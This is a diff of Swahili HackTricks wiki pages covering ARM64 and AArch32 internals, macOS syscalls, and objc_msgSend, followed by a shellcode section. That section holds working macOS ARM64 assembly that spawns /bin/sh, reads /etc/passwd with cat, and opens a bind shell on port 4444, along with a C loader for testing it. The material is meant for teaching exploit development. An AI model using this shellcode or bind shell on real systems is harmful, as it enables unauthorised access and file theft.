@ -260,16 +259,16 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **Kurudi**: `ret` (inarejesha udhibiti kwa mtu aliyetoa wito kwa kutumia anwani kwenye daftari la viungo)
|
||||
3. **Return**: `ret` (inarudisha udhibiti kwa mwito kwa kutumia anwani katika register ya kiungo)
|
||||
|
||||
## Hali ya Utekelezaji ya AARCH32
|
||||
## AARCH32 Hali ya Utendaji
|
||||
|
||||
Armv8-A inasaidia utekelezaji wa programu za biti 32. **AArch32** inaweza kukimbia katika moja ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\
|
||||
Programu za biti 64 **zenye haki** zinaweza kupanga **utekelezaji wa programu za biti 32** kwa kutekeleza uhamisho wa kiwango cha kipekee kwenda kwa biti 32 zenye haki za chini.\
|
||||
Tafadhali kumbuka kwamba mpito kutoka biti 64 kwenda biti 32 hufanyika na kiwango cha chini cha kiwango cha kipekee (kwa mfano programu ya biti 64 katika EL1 ikichochea programu katika EL0). Hii hufanywa kwa kuweka **biti 4 ya** daftari maalum la usajili wa **`SPSR_ELx`** kuwa 1 wakati mchakato wa wateja wa `AArch32` uko tayari kutekelezwa na sehemu iliyobaki ya `SPSR_ELx` inahifadhi mipango ya **CPSR ya AArch32**. Kisha, mchakato wenye haki huita maagizo ya **`ERET`** ili mchakato ibadilike kwenda kwa **`AArch32`** kuingia katika A32 au T32 kulingana na CPSR\*\*.\*\*
|
||||
Armv8-A inasaidia utendaji wa programu za bit 32. **AArch32** inaweza kukimbia katika moja ya **seti mbili za maagizo**: **`A32`** na **`T32`** na inaweza kubadilisha kati yao kupitia **`interworking`**.\
|
||||
**Programu zenye mamlaka** za bit 64 zinaweza kupanga **utendaji wa programu za bit 32** kwa kutekeleza uhamisho wa kiwango cha kipekee kwa bit 32 zenye mamlaka ya chini.\
|
||||
Kumbuka kwamba mpito kutoka bit 64 hadi bit 32 unafanyika kwa kupunguza kiwango cha kipekee (kwa mfano, programu ya bit 64 katika EL1 ikichochea programu katika EL0). Hii inafanywa kwa kuweka **bit 4 ya** **`SPSR_ELx`** register maalum **kuwa 1** wakati mchakato wa `AArch32` uko tayari kutekelezwa na sehemu nyingine ya `SPSR_ELx` inahifadhi **`AArch32`** programu CPSR. Kisha, mchakato wenye mamlaka unaita **`ERET`** maagizo ili processor ipitie **`AArch32`** kuingia katika A32 au T32 kulingana na CPSR\*\*.\*\*
|
||||
|
||||
**`Interworking`** hufanyika kwa kutumia biti za J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **biti ya chini kuwa 1** kuashiria seti ya maagizo ni T32.\
|
||||
Hii inawekwa wakati wa **maagizo ya matawi ya interworking,** lakini inaweza pia kuwekwa moja kwa moja na maagizo mengine wakati PC inawekwa kama usajili wa marudio. Mfano:
|
||||
**`interworking`** inafanyika kwa kutumia bit J na T za CPSR. `J=0` na `T=0` inamaanisha **`A32`** na `J=0` na `T=1` inamaanisha **T32**. Hii kimsingi inamaanisha kuweka **bit ya chini zaidi kuwa 1** kuashiria kwamba seti ya maagizo ni T32.\
|
||||
Hii imewekwa wakati wa **maagizo ya tawi la interworking,** lakini inaweza pia kuwekwa moja kwa moja na maagizo mengine wakati PC imewekwa kama register ya marudio. Mfano:
|
||||
|
||||
Mfano mwingine:
|
||||
```armasm
|
||||
|
@ -282,50 +281,50 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
### Rejista
|
||||
### Registers
|
||||
|
||||
Kuna rejista 16 za biti 32 (r0-r15). **Kutoka r0 hadi r14** wanaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao kawaida huwa zimehifadhiwa:
|
||||
Kuna register 16 za 32-bit (r0-r15). **Kuanzia r0 hadi r14** zinaweza kutumika kwa **operesheni yoyote**, hata hivyo baadhi yao mara nyingi huhifadhiwa:
|
||||
|
||||
- **`r15`**: Programu ya kuhesabu (daima). Ina anwani ya maagizo yanayofuata. Katika A32 sasa + 8, katika T32, sasa + 4.
|
||||
- **`r11`**: Kiashiria cha fremu
|
||||
- **`r12`**: Rejista ya wito wa ndani wa utaratibu
|
||||
- **`r13`**: Kiashiria cha steki
|
||||
- **`r14`**: Kiashiria cha kiungo
|
||||
* **`r15`**: Program counter (daima). Inashikilia anwani ya amri inayofuata. Katika A32 sasa + 8, katika T32, sasa + 4.
|
||||
* **`r11`**: Frame Pointer
|
||||
* **`r12`**: Intra-procedural call register
|
||||
* **`r13`**: Stack Pointer
|
||||
* **`r14`**: Link Register
|
||||
|
||||
Zaidi ya hayo, rejista zinahifadhiwa katika **`rejista zilizohifadhiwa`**. Ambazo ni sehemu zinazohifadhi thamani za rejista kuruhusu kufanya **mabadiliko ya muktadha haraka** katika kushughulikia kipekee na operesheni za kipekee ili kuepuka haja ya kuhifadhi na kurejesha rejista kila wakati.\
|
||||
Hii hufanywa kwa **kuihifadhi hali ya mchakato kutoka kwa `CPSR` hadi `SPSR`** ya hali ya mchakato ambayo kipekee inachukuliwa. Wakati wa kurudi kutoka kwa kipekee, **`CPSR`** inarejeshwa kutoka kwa **`SPSR`**.
|
||||
Zaidi ya hayo, register zinaakibishwa katika **`banked registries`**. Hizi ni sehemu zinazohifadhi thamani za register zinazoruhusu kufanya **fast context switching** katika usimamizi wa makosa na operesheni zenye mamlaka ili kuepuka hitaji la kuhifadhi na kurejesha register kila wakati.\
|
||||
Hii inafanywa kwa **kuhifadhi hali ya processor kutoka `CPSR` hadi `SPSR`** ya hali ya processor ambayo kosa limechukuliwa. Wakati kosa linaporudi, **`CPSR`** inarejeshwa kutoka **`SPSR`**.
|
||||
|
||||
### CPSR - Rejista ya Hali ya Programu ya Sasa
|
||||
### CPSR - Current Program Status Register
|
||||
|
||||
Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati kipekee inachukuliwa ili kurejesha baadaye utekelezaji:
|
||||
Katika AArch32 CPSR inafanya kazi kama **`PSTATE`** katika AArch64 na pia inahifadhiwa katika **`SPSR_ELx`** wakati kosa linachukuliwa ili kurejesha utekelezaji baadaye:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vipengele vimegawanywa katika vikundi kadhaa:
|
||||
Sehemu zimegawanywa katika makundi kadhaa:
|
||||
|
||||
- Rejista ya Hali ya Programu ya Maombi (APSR): Alama za hesabu na inaweza kufikiwa kutoka EL0
|
||||
- Rejista za Hali ya Utekelezaji: Tabia ya mchakato (inasimamiwa na OS).
|
||||
* Application Program Status Register (APSR): Bendera za hesabu na zinazoweza kufikiwa kutoka EL0
|
||||
* Execution State Registers: Tabia ya mchakato (inasimamiwa na OS).
|
||||
|
||||
#### Rejista ya Hali ya Programu ya Maombi (APSR)
|
||||
#### Application Program Status Register (APSR)
|
||||
|
||||
- Alama za **`N`**, **`Z`**, **`C`**, **`V`** (sawa na AArch64)
|
||||
- Alama ya **`Q`**: Inawekwa kuwa 1 wakati **kutukuka kwa nambari za jumla** kunatokea wakati wa utekelezaji wa maagizo maalum ya kutukuka ya hesabu. Mara tu inapowekwa kuwa **`1`**, itabaki na thamani hiyo mpaka iwekwe kwa mkono kuwa 0. Zaidi ya hayo, hakuna maagizo yoyote yanayochunguza thamani yake kwa kawaida, lazima ifanywe kusoma kwa mkono.
|
||||
- **`GE`** (Kubwa au sawa) Alama: Hutumiwa katika operesheni za SIMD (Maagizo Moja, Data Nyingi) kama vile "kuongeza kwa pamoja" na "kutoa kwa pamoja". Operesheni hizi huruhusu kusindika pointi nyingi za data katika maagizo moja.
|
||||
* Bendera **`N`**, **`Z`**, **`C`**, **`V`** (kama ilivyo katika AArch64)
|
||||
* Bendera **`Q`**: Inapangwa kuwa 1 kila wakati **saturation ya integer inapotokea** wakati wa utekelezaji wa amri maalum ya hesabu inayoshikilia. Mara inapowekwa kuwa **`1`**, itahifadhi thamani hiyo hadi iwekwe kwa mikono kuwa 0. Zaidi ya hayo, hakuna amri inayokagua thamani yake kwa njia isiyo ya moja kwa moja, lazima ifanyike kwa kusoma kwa mikono.
|
||||
* Bendera **`GE`** (Kubwa kuliko au sawa): Inatumika katika operesheni za SIMD (Single Instruction, Multiple Data), kama vile "kuongeza kwa pamoja" na "kupunguza kwa pamoja". Operesheni hizi zinaruhusu kuchakata vidokezo vingi vya data katika amri moja.
|
||||
|
||||
Kwa mfano, maagizo ya **`UADD8`** **ya kuongeza jozi nne za herufi** (kutoka kwa waendeshaji wawili wa biti 32) kwa pamoja na kuhifadhi matokeo katika rejista ya biti 32. Kisha **inaweka alama za `GE` katika `APSR`** kulingana na matokeo haya. Kila alama ya GE inalingana na moja ya kuongeza herufi, ikionyesha ikiwa kuongeza kwa jozi hiyo ya herufi **kulivuja**.
|
||||
Kwa mfano, amri **`UADD8`** **inaongeza jozi nne za bytes** (kutoka kwa operandi mbili za 32-bit) kwa pamoja na kuhifadhi matokeo katika register ya 32-bit. Kisha **inaweka bendera za `GE` katika `APSR`** kulingana na matokeo haya. Kila bendera ya GE inahusiana na moja ya nyongeza za byte, ikionyesha ikiwa nyongeza ya jozi hiyo ya byte **ilivuka**.
|
||||
|
||||
Maagizo ya **`SEL`** hutumia alama hizi za GE kutekeleza hatua za masharti.
|
||||
Amri **`SEL`** inatumia bendera hizi za GE kufanya vitendo vya masharti.
|
||||
|
||||
#### Rejista za Hali ya Utekelezaji
|
||||
#### Execution State Registers
|
||||
|
||||
- Vipande vya **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya maagizo ya A32 hutumiwa, na ikiwa ni 1, T32 hutumiwa.
|
||||
- Rejista ya Hali ya Bloki ya IT (`ITSTATE`): Hizi ni vipande kutoka 10-15 na 25-26. Huhifadhi masharti ya maagizo ndani ya kikundi kilicho na kipimo cha **`IT`**.
|
||||
- Biti ya **`E`**: Inaonyesha **mweisho**.
|
||||
- **Vipande vya Hali na Kizuizi cha Kipekee** (0-4): Vinabainisha hali ya sasa ya utekelezaji. Ya tano inaonyesha ikiwa programu inaendeshwa kama biti 32 (1) au biti 64 (0). Zingine 4 zinaonyesha **hali ya kipekee inayotumiwa kwa sasa** (wakati kipekee kinatokea na kinashughulikiwa). Nambari iliyowekwa inaonyesha kipaumbele cha sasa ikiwa kipekee nyingine itaanzishwa wakati huu inashughulikiwa.
|
||||
* Bits **`J`** na **`T`**: **`J`** inapaswa kuwa 0 na ikiwa **`T`** ni 0 seti ya amri A32 inatumika, na ikiwa ni 1, T32 inatumika.
|
||||
* **IT Block State Register** (`ITSTATE`): Hizi ni bits kutoka 10-15 na 25-26. Zinahifadhi masharti ya amri ndani ya kundi lililo na prefiksi **`IT`**.
|
||||
* **`E`** bit: Inaonyesha **endianness**.
|
||||
* **Mode and Exception Mask Bits** (0-4): Zinabainisha hali ya sasa ya utekelezaji. **Bit ya 5** inaonyesha ikiwa programu inatekelezwa kama 32bit (1) au 64bit (0). Nyingine 4 zinaonyesha **mode ya kosa inayotumika kwa sasa** (wakati kosa linapotokea na linashughulikiwa). Nambari iliyowekwa **inaonyesha kipaumbele cha sasa** ikiwa kosa lingine litachochewa wakati huu unashughulikiwa.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: Baadhi ya kipekee zinaweza kuzimwa kwa kutumia vipande **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **kuzimwa kwa ghafla** kutafanyika. **`I`** inaconfigure kujibu kwa vifaa vya nje vya **Ombi la Kuingilia** (IRQs). na F inahusiana na **Ombi za Kuingilia za Haraka** (FIRs).
|
||||
* **`AIF`**: Makosa fulani yanaweza kuzuiliwa kwa kutumia bits **`A`**, `I`, `F`. Ikiwa **`A`** ni 1 inamaanisha **aborts zisizo za kawaida** zitaanzishwa. **`I`** inasanidiwa kujibu **Interrupts Requests** (IRQs) za vifaa vya nje. na F inahusiana na **Fast Interrupt Requests** (FIRs).
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -335,9 +334,9 @@ Angalia [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3
|
|||
|
||||
### Mach Traps
|
||||
|
||||
Angalia katika [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` na katika [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) mifano. Idadi ya juu ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka kwa orodha ya awali na **hasi**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`**.
|
||||
Angalia katika [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` na katika [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) prototypes. Nambari ya mex ya Mach traps ni `MACH_TRAP_TABLE_COUNT` = 128. Mach traps zitakuwa na **x16 < 0**, hivyo unahitaji kuita nambari kutoka orodha ya awali kwa **minus**: **`_kernelrpc_mach_vm_allocate_trap`** ni **`-10`**.
|
||||
|
||||
Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler kupata jinsi ya kuita hizi (na BSD) syscalls:
|
||||
Unaweza pia kuangalia **`libsystem_kernel.dylib`** katika disassembler ili kupata jinsi ya kuita hizi (na BSD) syscalls:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -349,31 +348,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kumbuka kwamba **Ida** na **Ghidra** zinaweza pia ku-decompile **dylibs maalum** kutoka kwenye cache kwa kupitisha tu cache.
|
||||
|
||||
{% hint style="success" %}
|
||||
Maranyingi ni rahisi kuangalia **msimbo uliopanguliwa** kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **msimbo wa chanzo** kwa sababu msimbo wa wito wa mfumo wa BSD na Mach hutengenezwa kupitia hati (angalia maoni katika msimbo wa chanzo) wakati katika dylib unaweza kupata nini kinachoitwa.
|
||||
Wakati mwingine ni rahisi kuangalia **decompiled** code kutoka **`libsystem_kernel.dylib`** **kuliko** kuangalia **source code** kwa sababu code ya syscalls kadhaa (BSD na Mach) inazalishwa kupitia scripts (angalia maoni katika source code) wakati katika dylib unaweza kupata kile kinachoitwa.
|
||||
{% endhint %}
|
||||
|
||||
### wito wa machdep
|
||||
### machdep calls
|
||||
|
||||
XNU inasaidia aina nyingine ya wito unaoitwa tegemezi la mashine. Idadi ya wito hawa inategemea usanifu na wala wito au idadi haihakikishiwi kubaki thabiti.
|
||||
XNU inasaidia aina nyingine ya calls inayoitwa machine dependent. Idadi ya calls hizi inategemea usanifu na wala calls au idadi hazihakikishiwi kubaki kuwa thabiti.
|
||||
|
||||
### ukurasa wa comm
|
||||
### comm page
|
||||
|
||||
Huu ni ukurasa wa kumbukumbu ya mmiliki wa kernel ambao umepangwa katika eneo la anwani ya kila mchakato wa mtumiaji. Lengo lake ni kufanya mpito kutoka hali ya mtumiaji hadi nafasi ya kernel haraka kuliko kutumia syscalls kwa huduma za kernel ambazo hutumiwa sana mpito huu ungekuwa wa ufanisi mdogo.
|
||||
Hii ni ukurasa wa kumbukumbu wa mmiliki wa kernel ambao umewekwa kwenye eneo la anwani la kila mchakato wa mtumiaji. Imepangwa kufanya mpito kutoka kwa hali ya mtumiaji hadi nafasi ya kernel kuwa haraka kuliko kutumia syscalls kwa huduma za kernel ambazo zinatumika sana kwamba mpito huu ungekuwa usio na ufanisi.
|
||||
|
||||
Kwa mfano, wito `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwa ukurasa wa comm.
|
||||
Kwa mfano, wito wa `gettimeofdate` unasoma thamani ya `timeval` moja kwa moja kutoka kwenye comm page.
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
Ni kawaida sana kupata kazi hii ikitumiwa katika programu za Objective-C au Swift. Kazi hii inaruhusu kuita njia ya kitu cha Objective-C.
|
||||
Ni kawaida sana kupata kazi hii ikitumika katika programu za Objective-C au Swift. Kazi hii inaruhusu kuita njia ya kitu cha objective-C.
|
||||
|
||||
Parameta ([maelezo zaidi katika nyaraka](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
Parameta ([maelezo zaidi katika docs](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
|
||||
* x0: self -> Kiashiria kwa kipengee
|
||||
* x1: op -> Chaguzi ya njia
|
||||
* x2... -> Mengine ya hoja za njia iliyohimizwa
|
||||
* x0: self -> Pointer kwa mfano
|
||||
* x1: op -> Mchoro wa njia
|
||||
* x2... -> Mabaki ya hoja za njia iliyoitwa
|
||||
|
||||
Kwa hivyo, ikiwa unaweka kizuizi kabla ya tawi kwa kazi hii, unaweza kwa urahisi kupata nini kinachoitwa katika lldb na (katika mfano huu kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitatekeleza amri):
|
||||
Hivyo, ikiwa utaweka breakpoint kabla ya tawi la kazi hii, unaweza kwa urahisi kupata kile kinachoitwa katika lldb (katika mfano huu, kitu kinaita kitu kutoka `NSConcreteTask` ambacho kitaendesha amri):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
|
@ -392,32 +393,32 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Kwa kuweka variable ya mazingira **`NSObjCMessageLoggingEnabled=1`** inawezekana kurekodi wakati hii function inaitwa kwenye faili kama `/tmp/msgSends-pid`.
|
||||
Kuweka mabadiliko ya mazingira **`NSObjCMessageLoggingEnabled=1`** inawezekana kurekodi wakati kazi hii inaitwa katika faili kama `/tmp/msgSends-pid`.
|
||||
|
||||
Zaidi ya hayo, kwa kuweka **`OBJC_HELP=1`** na kuita binary yoyote unaweza kuona variables nyingine za mazingira unazoweza kutumia kurekodi wakati hatua fulani za Objc-C zinatokea.
|
||||
Zaidi ya hayo, kuweka **`OBJC_HELP=1`** na kuita binary yoyote unaweza kuona mabadiliko mengine ya mazingira ambayo unaweza kutumia ili **log** wakati vitendo fulani vya Objc-C vinapotokea.
|
||||
{% endhint %}
|
||||
|
||||
Inapoitwa hii function, ni muhimu kupata method iliyoitwa ya instance iliyotajwa, kwa hili utafutaji tofauti unafanywa:
|
||||
Wakati kazi hii inaitwa, inahitajika kupata njia iliyoitwa ya mfano ulioonyeshwa, kwa hili tafiti tofauti zinafanywa:
|
||||
|
||||
* Fanya utafutaji wa cache wa matumaini:
|
||||
* Ikiwa mafanikio, maliza
|
||||
* Pata runtimeLock (soma)
|
||||
* Ikiwa (realize && !cls->realized) realize class
|
||||
* Ikiwa (initialize && !cls->initialized) initialize class
|
||||
* Jaribu cache ya class yenyewe:
|
||||
* Ikiwa mafanikio, maliza
|
||||
* Jaribu orodha ya method ya class:
|
||||
* Ikiwa imepatikana, jaza cache na maliza
|
||||
* Jaribu cache ya superclass:
|
||||
* Ikiwa mafanikio, maliza
|
||||
* Jaribu orodha ya method ya superclass:
|
||||
* Ikiwa imepatikana, jaza cache na maliza
|
||||
* Ikiwa (resolver) jaribu method resolver, na rudia kutoka kwenye utafutaji wa class
|
||||
* Ikiwa bado hapa (= kila kitu kingine kimeshindwa) jaribu forwarder
|
||||
* Ikiwa ni mafanikio, imekamilika
|
||||
* Pata runtimeLock (kusoma)
|
||||
* Ikiwa (realize && !cls->realized) realize darasa
|
||||
* Ikiwa (initialize && !cls->initialized) initialize darasa
|
||||
* Jaribu cache ya darasa lenyewe:
|
||||
* Ikiwa ni mafanikio, imekamilika
|
||||
* Jaribu orodha ya mbinu za darasa:
|
||||
* Ikiwa imepatikana, jaza cache na umalize
|
||||
* Jaribu cache ya darasa la juu:
|
||||
* Ikiwa ni mafanikio, imekamilika
|
||||
* Jaribu orodha ya mbinu za darasa la juu:
|
||||
* Ikiwa imepatikana, jaza cache na umalize
|
||||
* Ikiwa (resolver) jaribu mtafutaji wa mbinu, na rudia kutoka utafutaji wa darasa
|
||||
* Ikiwa bado hapa (= kila kitu kingine kimefeli) jaribu forwarder
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Kwa kuchakata:
|
||||
Ili kukusanya:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -425,7 +426,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
Kutoa baits:
|
||||
Ili kutoa byte:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -441,7 +442,7 @@ done
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>Msimbo wa C kufanya majaribio ya shellcode</summary>
|
||||
<summary>Kodi ya C kujaribu shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -489,7 +490,7 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
#### Kifusi
|
||||
#### Shell
|
||||
|
||||
Imechukuliwa kutoka [**hapa**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) na kufafanuliwa.
|
||||
|
||||
|
@ -558,9 +559,12 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
#### Soma kwa kutumia cat
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni mfululizo wa vigezo (ambavyo kumbukumbu zake ni rundo la anwani).
|
||||
#### Soma na cat
|
||||
|
||||
Lengo ni kutekeleza `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, hivyo hoja ya pili (x1) ni safu ya paramu (ambazo katika kumbukumbu zinamaanisha stack ya anwani).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -586,7 +590,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Amuru amri na sh kutoka kwa tawi ili mchakato mkuu usiuawe
|
||||
#### Wito amri na sh kutoka kwa fork ili mchakato mkuu usiuwe
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -632,7 +636,7 @@ touch_command: .asciz "touch /tmp/lalala"
|
|||
```
|
||||
#### Bind shell
|
||||
|
||||
Bind shell kutoka [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) kwenye **bandari 4444**
|
||||
Bind shell kutoka [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) katika **bandari 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -784,16 +788,16 @@ mov x16, #59
|
|||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Security Protections
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## Gatekeeper
|
||||
|
||||
Gatekeeper kwa kawaida hutumiwa kurejelea mchanganyiko wa **Quarantine + Gatekeeper + XProtect**, moduli 3 za usalama za macOS ambazo zitajaribu **kuzuia watumiaji kutekeleza programu mbaya zinazoweza kuwa hatari zilizopakuliwa**.
|
||||
Gatekeeper kwa kawaida hutumiwa kurejelea mchanganyiko wa **Quarantine + Gatekeeper + XProtect**, moduli 3 za usalama za macOS ambazo zitajaribu **kuzuia watumiaji kutekeleza programu mbaya zinazoweza kupakuliwa**.
|
||||
|
||||
More information in:
|
||||
|
||||
|
@ -27,6 +27,10 @@ More information in:
|
|||
|
||||
## Processes Limitants
|
||||
|
||||
### MACF
|
||||
|
||||
|
||||
|
||||
### SIP - System Integrity Protection
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
|
@ -35,7 +39,7 @@ More information in:
|
|||
|
||||
### Sandbox
|
||||
|
||||
MacOS Sandbox **inapunguza programu** zinazotembea ndani ya sandbox kwa **vitendo vilivyokubaliwa vilivyobainishwa katika profaili ya Sandbox** ambayo programu inatumia. Hii husaidia kuhakikisha kwamba **programu itakuwa inapata rasilimali zinazotarajiwa tu**.
|
||||
MacOS Sandbox **inapunguza programu** zinazotembea ndani ya sandbox kwa **vitendo vilivyokubaliwa vilivyobainishwa katika profaili ya Sandbox** ambayo programu inatumia. Hii husaidia kuhakikisha kwamba **programu itakuwa ikipata rasilimali zinazotarajiwa tu**.
|
||||
|
||||
{% content-ref url="macos-sandbox/" %}
|
||||
